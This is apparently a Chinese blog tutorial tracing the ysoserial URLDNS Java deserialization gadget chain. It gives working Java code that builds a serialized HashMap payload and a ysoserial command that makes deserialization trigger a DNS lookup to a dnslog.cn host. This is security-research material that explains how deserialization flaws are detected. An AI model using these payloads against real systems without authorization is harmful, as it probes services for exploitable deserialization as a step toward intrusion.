测试环境
java 测试环境:
分析
先来看ysoserial的payload代码,ysoserial/src/main/ysoserial/payloads/URLDNS.java
如上图作者在注释中已经把关键的链以及构造方法都已经写成来了,反序列化先找到触发点java中比较简单这里找readObject
()即可。
跟进HashMap
的readObject()
方法
继续跟进hash(key)
方法中:
这里调用了key的hashCode
方法,从一开始ysoserial的payload中可以看到key传入的是java.net.URL
这个类,所以我们跟进该类的hashCode()
方法中。
hashCode
如果不等于-1就返回hashcode的值(hashCode是一个私有变量,默认值为-1,代码这里就不截图了),否则调用hanlder类的hashCode方法,我们继续跟进!
继续跟进getHostAddress
方法。
没啥特别操作,继续跟进getHostAddress
到这里就是终点了,这里使用getByNameAPI
函数,把Host解析成IP地址,并触发DNS请求。
整个过程比较简单,简化的URLDNS的Gadget如下:
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
构造payload
自行构造payload
根据上文分析我们可以自行构造payload:
package easy.cc;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class Payload implements Serializable {
public static void main(String[] args) throws Exception{
URLStreamHandler handler = new URLStreamHandler() {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
};
HashMap hm = new HashMap();
String url = "http://2yt1d4.dnslog.cn";
URL u = new URL(null,url,handler);
Class cla = u.getClass();
Field field = cla.getDeclaredField("hashCode");
field.setAccessible(true);
//防止触发put函数导致本地触发一个dns请求
field.set(u,233);
hm.put(u,url);
//把hashCode变量修改回来
field.set(u,-1);
//序列化写入文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.bin"));
oos.writeObject(hm);
//读取序列化代码进行反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.bin"));
ois.readObject();
}
}
这里值得注意的是我们需要先把hashCode变量修改为不为-1调用put方法后在改回来。
这是因为在调用HashMap的put方法的时候如下图和我们反序列化入口readObject调用的方法是一样的,如果
再看hashCode方法哪里:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
发现hashCode为-1的时候才调用handler.hashCode(),而hashCode定义为private int hashCode = -1;默认为-1,我们要在构造的时候不请求,我们在put之前set为非-1,注意在put结束后要恢复到-1,否则反序列化的时候也不会请求,所以我们payload在会如上面那样构造。
ysoserial中的URLDNS Payload
ysoserial生成payload很简单使用以下命令即可:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://znyqyv.dnslog.cn" >> urldns.bin
ysoserial只是生成序列化的payload我们还需要一个反序列化的点,我们还需自行构造一个demo出来:
package easy.cc;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectInputStream;
public class Unurldns {
public static void main(String[] args)throws IOException,ClassNotFoundException {
ObjectInputStream o = new ObjectInputStream(new FileInputStream("/Users/easy/Desktop/linshi/ysoserial/target/urldns.obj"));
Object o1 = o.readObject();
System.out.println(o1);
}
}
这里主要分析一下ysoserial的URLDNS利用链构造过程:
整体上差不多但作者并没有像我们那样利用反射在调用put方法前hashCode变量进行修改,而是使用了另外一种巧妙的方式,handler方法自己改写的,且getHostAddress()返回空,这样调用put方法的使用就不会触发dns请求了。
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
参考文章
https://bkfish.gitee.io/2020/05/29/java代码审计入门3-ysoserial调试和构造URLDNS的pop链/#11-ysoserial项目介绍
https://ca01h.top/Java/javasec/4.ysoserial-URLDNS详细分析/
https://www.anquanke.com/post/id/201762#h3-8
https://lalajun.github.io/2020/03/05/JAVA反序列化-ysoserial-URLDNS/